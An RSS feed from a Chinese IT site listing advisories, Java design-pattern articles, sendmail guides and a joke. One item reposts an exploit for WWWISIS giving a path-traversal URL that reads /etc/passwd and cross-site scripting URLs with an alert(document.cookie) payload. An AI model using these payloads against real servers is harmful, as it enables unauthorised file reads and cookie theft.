<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	>

<channel>
	<title>一孔之见 -- IT只言片语</title>
	<atom:link href="http://www.ykzj.org/feed" rel="self" type="application/rss+xml" />
	<link>http://www.ykzj.org</link>
	<description>IT技术软报道</description>
	<pubDate>Wed, 07 Jan 2009 00:12:14 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.7</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Sun Solaris kcms_server远程读取任意文件漏洞</title>
		<link>http://www.ykzj.org/2009/01/07/ykzj-it-article-65835.html</link>
		<comments>http://www.ykzj.org/2009/01/07/ykzj-it-article-65835.html#comments</comments>
		<pubDate>Wed, 07 Jan 2009 00:12:14 +0000</pubDate>
		<dc:creator>ykzj</dc:creator>
		
		<category><![CDATA[最新漏洞公告]]></category>

		<guid isPermaLink="false">http://www.ykzj.org/?p=4333</guid>
		<description><![CDATA[Sun Solaris kcms_server远程读取任意文件漏洞
发布日期：2003-01-23
更新日期：2004-02-24
受影响系统：
   Sun Solairs kcms_server 
    - Sun Solaris 9.0 x86
    - Sun Solaris 8.0 x86
    - Sun Solaris 8.0 
    - Sun Solaris 7.0 
    - Sun Solaris 7.0 x86
    - Sun Solaris [...]]]></description>
		<wfw:commentRss>http://www.ykzj.org/2009/01/07/ykzj-it-article-65835.html/feed</wfw:commentRss>
		</item>
		<item>
		<title>Trend Micro Exchange ScanMail验证可绕过漏洞</title>
		<link>http://www.ykzj.org/2009/01/07/ykzj-it-article-65825.html</link>
		<comments>http://www.ykzj.org/2009/01/07/ykzj-it-article-65825.html#comments</comments>
		<pubDate>Wed, 07 Jan 2009 00:03:06 +0000</pubDate>
		<dc:creator>ykzj</dc:creator>
		
		<category><![CDATA[最新漏洞公告]]></category>

		<guid isPermaLink="false">http://www.ykzj.org/?p=4323</guid>
		<description><![CDATA[Trend Micro Exchange ScanMail验证可绕过漏洞
发布日期：2003-01-15
更新日期：2003-01-22
受影响系统：
   Trend Micro ScanMail for Microsoft Exchange 3.8
 不受影响系统：
   Trend Micro ScanMail for Microsoft Exchange 6.1
 描述：BUGTRAQ  ID: 6619
Trend Micro ScanMail是由趋势科技开发和维护的针对Exchange系统的病毒防护系统。
Trend Micro ScanMail存在漏洞，远程攻击者可以利用这个漏洞绕过已经存在的验证机器，访问ScanMail管理系统。
目前没有获得详细漏洞细节。

建议：厂商补丁：
Trend Micro
&#8212;&#8212;&#8212;&#8211;
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：
http://www.antivirus.com/
]]></description>
		<wfw:commentRss>http://www.ykzj.org/2009/01/07/ykzj-it-article-65825.html/feed</wfw:commentRss>
		</item>
		<item>
		<title>WWWISIS </title>
		<link>http://www.ykzj.org/2009/01/07/ykzj-it-article-77941.html</link>
		<comments>http://www.ykzj.org/2009/01/07/ykzj-it-article-77941.html#comments</comments>
		<pubDate>Tue, 06 Jan 2009 23:52:27 +0000</pubDate>
		<dc:creator>ykzj</dc:creator>
		
		<category><![CDATA[0day exploits]]></category>

		<guid isPermaLink="false">http://www.ykzj.org/?p=4451</guid>
		<description><![CDATA[# WWWISIS (Search) Multiple Vulnerabilities
# Download:
# http://bvsmodelo.bvsalud.org/php/level.php?lang=en&#38;component=31&#38;item=2
# Bug found by JosS
# Contact: sys-project[at]hotmail.com
# Spanish Hackers Team
# www.spanish-hackers.com
# d0rk: powered by WWWISIS
#Stop lammer
# Local File Disclosure Vulnerability:
http://server/cgi-bin/wxis.exe/iah/?IsisScript=[file]
http://server/cgi-bin/wxis.exe/iah/?IsisScript=../../../../../../../../../etc/passwd
# Exploit In (XSS):
http://server/cgi-bin/wxis.exe/iah/?IsisScript=iah/iah.xis&#38;base=article^dlibrary&#38;fmt=iso.pft&#38;lang=i
http://server/cgi-bin/wxis.exe/iah/?IsisScript=iah/iah.xis&#38;base=article^dlibrary&#38;fmt=iso.pft&#38;lang=e
&#8230;.
[ i,e ... ] it is the language of script
# Cross Siting Scripting:
alert(document.cookie)
//&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\
Greetz To: All Hackers
JosS!
 [2007-10-13]
]]></description>
		<wfw:commentRss>http://www.ykzj.org/2009/01/07/ykzj-it-article-77941.html/feed</wfw:commentRss>
		</item>
		<item>
		<title>电子邮件概述</title>
		<link>http://www.ykzj.org/2009/01/07/ykzj-it-article-8045.html</link>
		<comments>http://www.ykzj.org/2009/01/07/ykzj-it-article-8045.html#comments</comments>
		<pubDate>Tue, 06 Jan 2009 23:46:31 +0000</pubDate>
		<dc:creator>ykzj</dc:creator>
		
		<category><![CDATA[Unix操作系统]]></category>

		<guid isPermaLink="false">http://www.ykzj.org/?p=7244</guid>
		<description><![CDATA[　　感谢我的导师钱飞教授(http://come.or.jp/~fei/)多年来对大工校园网建设的无私帮
　　助及对我的热心指导，在他的帮助下，大工校园网建设取得了一定的成绩，我也从他那学
　　到了很多，不仅是专业方面的知识，更多的是如何待人，如何作人。
　　&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;
　　电子邮件管理
　　电子邮件是系统管理中最复杂的一项任务，但也是最为重要的一项任务，因为用户使用
　　较多，作何一个改动都会对所有用户带来影响。同时大多数用户认为电子邮件是UNIX中最有
　　价值的服务，尤其是在与Internet相连的系统上，电子邮件更为重要。
　　本文主要介绍如下内容：电子邮件是如何工作的，电子邮件相关术语，从何处得到更多
　　的信息，最后给出配置sendmail的实例。
　　本文不介绍过于复杂的邮件配置如多协议MAIL HUB(将邮件从Internet上转发给UUCP或
　　DecNET)等。
　　一、电子邮件概述
　　1. Email环境的关键 &#8212; sendmail
　　说明：
　　本部分内容摘自我的导师钱飞教授大规模计算机网络主要服务之管理方法中之电子邮件
　　环境的生成方法。
　　用户在实际利用Email时, 所要用到的命令一般为mail命令,或一些其他专用命 令.这些
　　直接与用户有关的,用于收发Mail的命令,或程序一般统称为MUA(Mail User Agent).通
　　常,MUA的使用程序有恨多.例如,MH,MNEWS,ELM等等.
　　相对于此,将来自MUA的信件转发给指定的用户的程序一般被称之为 MTA (Mail
　　Transfer Agent). 在UNIX系统上,最著名的MTA既是sendamil程序.sendmail是美国 加
　　州大学勃克利分校以Allman先生为中心的研究组所开发研制的优秀无偿软件.
　　sendmail(/usr/lib/sendmail)从各种MUA程序接收信件后, 按照自身的控制格 式文件
　　(/etc/sendmail.cf)中所描述的规则向外界转发信件. 因此,Email环境的成 败将取决
　　于sendmail.cf的设定是否合适.
　　MUA MTA
　　 &#8212;&#8212;&#8212;&#8212;&#8212; 
　　&#124; /bin/mail &#124;&#8212;&#62;&#124;
　　 &#8212;&#8212;&#8212;&#8212;&#8212;  &#124;
　　 &#8212;&#8212;&#8212;&#8212;&#8212;  s  &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;- 
　　&#124; /usr/ucb/mail &#124;&#8212;&#62;e &#8212;-&#62;&#124; /var/spool/mail/$usr &#124;
　　 &#8212;&#8212;&#8212;&#8212;&#8212;  n  &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-
　　 &#8212;&#8212;&#8212;&#8212;&#8212;  d  &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;- 
　　&#124; MH &#124;&#8212;&#62;m &#8212;-&#62;&#124; /usr/bin/uux &#124;
　　 &#8212;&#8212;&#8212;&#8212;&#8212;  [...]]]></description>
		<wfw:commentRss>http://www.ykzj.org/2009/01/07/ykzj-it-article-8045.html/feed</wfw:commentRss>
		</item>
		<item>
		<title>分　类-校园笑话</title>
		<link>http://www.ykzj.org/2009/01/07/ykzj-it-article-84206.html</link>
		<comments>http://www.ykzj.org/2009/01/07/ykzj-it-article-84206.html#comments</comments>
		<pubDate>Tue, 06 Jan 2009 23:34:50 +0000</pubDate>
		<dc:creator>ykzj</dc:creator>
		
		<category><![CDATA[笑话]]></category>

		<guid isPermaLink="false">http://www.ykzj.org/?p=4695</guid>
		<description><![CDATA[“伊万，你来回答，眼镜蛇属哪一类动物？”老师问。
    学生想了想回答：“应属近视眼类。”
]]></description>
		<wfw:commentRss>http://www.ykzj.org/2009/01/07/ykzj-it-article-84206.html/feed</wfw:commentRss>
		</item>
		<item>
		<title>Java设计模式例子FactoryMethodPattern</title>
		<link>http://www.ykzj.org/2009/01/07/ykzj-it-article-44197.html</link>
		<comments>http://www.ykzj.org/2009/01/07/ykzj-it-article-44197.html#comments</comments>
		<pubDate>Tue, 06 Jan 2009 23:28:22 +0000</pubDate>
		<dc:creator>ykzj</dc:creator>
		
		<category><![CDATA[Windows操作系统]]></category>

		<guid isPermaLink="false">http://www.ykzj.org/?p=47479</guid>
		<description><![CDATA[　　//Creator.java
　　public abstract class Creator
　　{
　　/**
　　*
　　looks like a factory
　　*
　　contains some products and some process methods
　　*/
　　protected Product duct;
　　abstract String processProduct();
　　abstract String processProductSpecial();
　　public String Operation()
　　{
　　return processProduct(); // FactoryMethod for implemention;
　　}
　　}
　　//ConcreteProduct.java
　　public class ConcreteProduct extends Product
　　{
　　public ConcreteProduct()
　　{
　　System.out.println(&#8221;construct the ConcreteProduct object&#8221;);
　　}
　　public String makeString(String str)
　　{
　　return &#8220;This is the product after processing:&#8221; str;
　　}
　　}
　　//Product.java
　　public abstract class Product
　　{
　　public abstract String makeString(String str);
　　}
　　//ConcreteCreatorA.java
　　public class ConcreteCreatorA extends Creator
　　{
　　/**
　　* [...]]]></description>
		<wfw:commentRss>http://www.ykzj.org/2009/01/07/ykzj-it-article-44197.html/feed</wfw:commentRss>
		</item>
		<item>
		<title>Sendmail554错误的解决</title>
		<link>http://www.ykzj.org/2009/01/07/ykzj-it-article-8046.html</link>
		<comments>http://www.ykzj.org/2009/01/07/ykzj-it-article-8046.html#comments</comments>
		<pubDate>Tue, 06 Jan 2009 23:07:04 +0000</pubDate>
		<dc:creator>ykzj</dc:creator>
		
		<category><![CDATA[Unix操作系统]]></category>

		<guid isPermaLink="false">http://www.ykzj.org/?p=7245</guid>
		<description><![CDATA[　　Sendmail 是在 Unix/Linux 环境下十分流行的邮件发送服务程序。但是其配置十分繁琐，问题也很多。本文解决了不能发信的一个问题。
　　每次发送的邮件都报告：
　　&#8212;&#8211; Transcript of session follows &#8212;&#8211;
　　554 5.0.0 MX list for example.com. points
　　back to example.com.
　　554 5.3.5 &#60;albertxu@example.com&#62;&#8230; Local
　　configuration error
　　解决的办法是：
　　在 /etc/mail/sendmail.cf 中
　　把 Cwlocalhost 修改为 Cwexample.com 。
　　然后重新启动 sendmail
　　/etc/init.d/sendmail stop, 然后 start (Solaris  
　　/etc/rc.d/init.d/sendmail restart (Linux ) 
您可能感兴趣的:
更多相关内容

正文- 开放原代码的Qmail Mysql Jsp中文电子邮局系统说明- Linux文库
正文- 留住员工的工作邮件- Linux文库
正文- UWIMAP服务器的性能优化- Linux文库
正文- sendmail文件相关说明- Linux文库
正文- 基于Sendmail和Perl的邮件附件过滤系统- Linux文库
正文- 电子邮件概述- Linux文库
正文- CyrusIMAP服务器安装与配置- Linux文库
正文- 我的qmail安装历程- [...]]]></description>
		<wfw:commentRss>http://www.ykzj.org/2009/01/07/ykzj-it-article-8046.html/feed</wfw:commentRss>
		</item>
		<item>
		<title>可扩展的Java应用程序开发模式</title>
		<link>http://www.ykzj.org/2009/01/07/ykzj-it-article-44188.html</link>
		<comments>http://www.ykzj.org/2009/01/07/ykzj-it-article-44188.html#comments</comments>
		<pubDate>Tue, 06 Jan 2009 23:02:59 +0000</pubDate>
		<dc:creator>ykzj</dc:creator>
		
		<category><![CDATA[Windows操作系统]]></category>

		<guid isPermaLink="false">http://www.ykzj.org/?p=47470</guid>
		<description><![CDATA[　　现在很多JAVA书籍，在介绍SWING的事件模型时，为了使JAVA初学者容易理解和上手，通常是在主类（自己的JFrame子类或JPanel)中做所有事情：要么由主类作为监听器，在接口的方法中通过判定事件源来决定具体做何事；要么在主类中使用内隐类来实现监听器，（因为内隐类可以方便的访问主类中的成员变量）。而很多JAVA初学者在往后的编程中也采用这种模式（至少我以前是这样的）。其实，这种做法虽然简单，却缺乏可读性、可扩展性和可维护性。之前我看到了一篇关于这个问题的文章（来自于《JavaPro》），现整理出来与大家分享。
　　下面我将用一个简单的例子来说明如何使用模式来解决这个问题。
　　现在，假设我们要编写一个使用几个单选按钮从一个长列表中选择不同分组的程序，就象下图中看到的。单击Female单选按钮时，只有女孩的名字被显示；当你点击Male按钮时，程序显示男孩的名字。
　　  
　　这个程序最简单的版本是在主类中做每件事情，主类包含一些持有孩子姓名的数组和向量（Vector），一个另一个最简单的方法是为每个孩子创建一个对象，每个对象有一个象isFemal()这样的方法来帮助我们确定要显示的是男的还是女的。在程序中我们把每个孩子的类称为Swimmer:
　　public class Swimmer{
　　private String name;
　　private int age;
　　private String club;
　　private boolean female;
　　public Swimmer(String name,int age,String club,boolean female){
　　this.name=name;
　　this.age=age;
　　this.club=club;
　　this.female=female;
　　}
　　public boolean isFemale(){
　　return female;
　　}
　　public String getName(){
　　return name;
　　}
　　public int getAge(){
　　return age;
　　}
　　public String getClub(){
　　return club;
　　}
　　}
　　下一步我们要做的是决定整个列表中的哪些孩子会被显示。我们可以在主用户接口类中做到这点，但是最好的是在一个叫做Swimmers的集合类中来做，这个类有一个getList()方法，它带有布尔型的参数来决定是男孩还是女孩：
　　//get a vector of swimmers who are (female)
　　public Vector getList(boolean female){
　　Vector v=new Vector();
　　for(int i=0;i&#60;kids.size();i  ){
　　Swimmer swm=(Swimmer)kids.elementAt(i);
　　if(swm.isFemal()==female) v.add(swm);
　　}
　　return v;
　　}
　　我们又提供了一个不带参数的多态getList()方法来返回整个列表。
　　现在让我们进入程序中的第一个重要的部分，为了显示这些孩子的姓名，我们需要为三个单选按钮都添加一个事件监听器，使得每个都能显示出正确的孩子们：
　　public void actionPerformed(ActionEvent e){
　　//listen for button clicks and [...]]]></description>
		<wfw:commentRss>http://www.ykzj.org/2009/01/07/ykzj-it-article-44188.html/feed</wfw:commentRss>
		</item>
		<item>
		<title>解析Java对象引用与JVM自动内存管理</title>
		<link>http://www.ykzj.org/2009/01/07/ykzj-it-article-44155.html</link>
		<comments>http://www.ykzj.org/2009/01/07/ykzj-it-article-44155.html#comments</comments>
		<pubDate>Tue, 06 Jan 2009 22:33:35 +0000</pubDate>
		<dc:creator>ykzj</dc:creator>
		
		<category><![CDATA[Windows操作系统]]></category>

		<guid isPermaLink="false">http://www.ykzj.org/?p=47427</guid>
		<description><![CDATA[　　对象引用应用程序设计接口是JDKTM1.2中新定义的。该应用程序设计接口允许应用程序以对象引用的方式与JVM的内存管理器进行交互。当应用程序需管理大量内存对象或者在新的Java对象创建之前需删除原有对象时，Java对象引用应用程序设计接口具有相当大的用途，例如：
　　● 基于Web的应用程序常常要求显示大量图片，当用户离开某一Web页时，往往不能确定是否能够顺利的返回。在这种程序中，应用Java对象引用API可以创建这样一个环境，即当堆内存以最小程度运行时，内存管理器创建对象。当用户返回时，应用程序就会重新载入已经创建的图片。
　　● 应用对象引用队列可以创建这样一个环境，当通过对象引用获得某一对象时，应用程序得到通知。然后，应用程序就可以对相关对象进行清除操作，同时使这些对象在内存管理器中合法化。
　　内存管理器的工作机制
　　下面将首先介绍未嵌入引用对象时内存管理器的工作机制，然后讨论引用对象加入之后Java堆发生的变化。
　　内存管理器的作用就是识别程序中不再使用的对象，并且回收其内存。
　　一个Java应用程序由一系列线程组成，每个线程执行一系列方法，而每个方法通过参数或局部变量来引用对象。这些引用属于引用集合中的一部分，直接进入应用程序。另外，引用集合中还包括类库中定义的静态引用变量，以及通过Java本地接口（JNI）API获得的引用。引用集合中的所有引用对象都可以被当前应用程序获取，而不必被回收。同样地，这些对象可能包含对其它对象的引用，也可以被应用程序获取，依此类推。Java堆中的其它对象视为不可获取的，而所有这些不可获取的对象在内存管理中也是合法的。如果一个不可获取的对象使用finalize()方法，任务就交给了对象所调用的收尾器（finalizer）。在内存回收期间，不具有收尾器的不可获取对象和已经调用收尾器的对象被简单回收。
　　内存回收的算法是不断变化的，共性的方面是从引用集合中识别可获取的对象以及回收被其它对象占据的内存空间。
　　加入引用对象之后的引用与常规引用的区别在于，引用对象中的引用专门由内存管理器来处理。引用对象封装了其它一些对象的引用，我们称之为指示对象。在引用对象创建的同时，也就定义了该引用对象的指示对象。
　　Java对象引用
　　图１所示为对象引用应用程序设计接口中定义的类层次。其中SoftReference类、WeakReference类和PhantomReference类中分别定义了三种引用对象以及相应的三种获取对象的能力。因此按照由强到弱，对象可获取程度可划分为如下五种类型：强获取（strongly reachable）、次获取（softly reachable）、弱获取（weakly reachable）、虚获取（phantomly reachable）和不可获取（unreachable）。
　　
　　图1 对象应用类层次
　　根据应用程序要求，对象可以是强引用（strong references）、次引用（soft references）、弱引用（weak references）、虚引用（phantom references）的任意组合。为了确定对象的可获取程度，JVM内存管理器从引用集合出发遍寻堆中所有到对象的路径。当到达某对象的任意路径都不含有引用对象时，则称该对象具有强获取能力；当路径中含有一个或几个引用对象时，根据内存管理器所查询的引用对象的类型分别归为次获取、弱获取、虚获取。
　　另外，对象引用API中还定义了引用对象队列（java.lang.ref.ReferenceQueue），这是内存管理器对引用对象进行管理的一种简单数据结构。值得注意的是，在进行引用对象定义时，要求phantom reference对象必须产生于一个引用对象队列，而soft reference和weak reference对象则无此限制，如：
　　ReferenceQueue queue = new ReferenceQueue();
　　PhantomReference pr = new PhantomReference(object, queue);
　　Soft References 应用实例
　　下面以在基于web的应用程序中使用soft references为例，来说明Java对象引用与JVM的内存管理器进行交互的原理。
　　当用户打开某一web页时，applet代码获得图片并且得到显示。如果在代码中同时创建了该图片对象的soft references，那么当用户离开该web页时，内存管理器对图片所分配的内存是否回收做出选择。当用户返回该web页时，在applet代码中使用SoftReference.get方法就会得到图片才内存中是否仍存在的消息。如果在内存管理器中未创建该图片，在web页上会很快得到显示；否则，applet代码就会重新获取。
　　下面是Example.java的完整源代码。
　　import java.awt.Graphics;
　　import java.awt.Image;
　　import java.applet.Applet;
　　import java.lang.ref.SoftReference;
　　public class Example extends Applet {
　　SoftReference sr = null;
　　public void init() {
　　System.out.println(&#34;Initializing&#34;);
　　}
　　public void paint(Graphics g) {
　　Image im = (sr == null) ? null : [...]]]></description>
		<wfw:commentRss>http://www.ykzj.org/2009/01/07/ykzj-it-article-44155.html/feed</wfw:commentRss>
		</item>
		<item>
		<title>责任链模式（ChainofResponsibility）</title>
		<link>http://www.ykzj.org/2009/01/07/ykzj-it-article-44180.html</link>
		<comments>http://www.ykzj.org/2009/01/07/ykzj-it-article-44180.html#comments</comments>
		<pubDate>Tue, 06 Jan 2009 22:19:24 +0000</pubDate>
		<dc:creator>ykzj</dc:creator>
		
		<category><![CDATA[Windows操作系统]]></category>

		<guid isPermaLink="false">http://www.ykzj.org/?p=47462</guid>
		<description><![CDATA[　　描述：
　　责任链模式（CoR）建议发出请求的对象与可能处理这个请求的对象集合之间是低耦合的（set of potential request handler objects）。
　　在有不止一个对象可以处理或实现（fulfill）客户请求的时候，责任链模式（CoR）认为顺序地给每一个对象一次处理请求的机会。在这种情况下应用责任链模式（CoR），把每一个可能处理请求的对象以链表的形式组织起来，在链表中，每一个对象有一个指向下一个对象的指针(Pointer)。在链表中的第一个对象接受请求并且决定是否处理它，或者把它传递
　　给下一个对象。请求一个接一个地遍历（flow through）链表中的所有对象，直到请求被其中的一个对象处理或者因到达链表尾而没有被处理。
　　例如：如果A?〉B?〉C都可以处理请求，按照这个顺序，A处理请求或者在不知B是否可以处理这个请求的情况下递给B。接受到请求的B可以处理这个请求或者传递给C。
　　当C收到请求时，这个请求可以被C处理或者没有经过任何处理而结束。换句话说，提交的处理链表中的请求在到达链表尾前，可以不被任何处理。
　　下面是责任链模式（CoR）一些重要的特征：
　　（1）
　　可能处理请求的对象集合（set of potential request handler objects）以及它们在链表中的顺序是由客户端根据现应用的状态在运行时动态决定的。
　　（2）
　　客户端根据现在的状态，对于不同的请求类型，可以拥有不同的可能处理请求的对象集合（set of potential request handler objects）。一个处理请求的对象也可以根据客户应用的状态和请求类型，把请求传递给不同的处理对象。为了使这些交互简单，所有的可能处理请求的对象应提供一致的接口。在JAVA中，不同处理对象可以实现一个共同的接口或者继承同一个抽象的父类来实现。
　　（3）
　　客户对象初始化请求，或者在不知道这些对象是否能处理这个请求的情况下初始化任何可能处理请求的对象。也就是说，客户对象和在处理链表中的处理对象都不需要知道到底哪个对象去处理这个请求。
　　（4）
　　请求不能保证被处理。也就是，在没有处理的情况下，请求已经到达了处理链表尾。下面的这个情景展示了一个购买请求传递到处理链表中，但是在到达链表尾时，并没有被接受。
　　例子：
　　让我们模拟一个在特定组织里的购买请求（PR）授权过程的应用。通常，在确立订单并发到卖方前，一个购买请求是需要不同的管理代表授权的。我们假定一个组织中在购买请求金额限制上分为四个授权管理层次，如下面的列表：
　　Table 21.1: Levels of PR Authorization
　　Management Level
　　Authorization Limit
　　Branch Manager
　　$25,000
　　Regional Director
　　$100,000
　　Vice President
　　$200,000
　　President and COO
　　$400,000
　　
　　
　　我们可以定义不同的类，来对应上面列表中的不同管理层次。
　　Listing 21.1: Classes Representing Different Management Levels
　　class BranchManager {
　　static double LIMIT = 25000;
　　…
　　…
　　}//End of class
　　class RegionalDirector {
　　static double LIMIT = 100000;
　　…
　　…
　　}//End of class
　　class VicePresident {
　　static double LIMIT [...]]]></description>
		<wfw:commentRss>http://www.ykzj.org/2009/01/07/ykzj-it-article-44180.html/feed</wfw:commentRss>
		</item>
	</channel>
</rss>

<!-- Dynamic Page Served (once) in 0.859 seconds -->
<!-- Cached page generated by WP-Super-Cache on 2009-01-07 08:38:01 -->
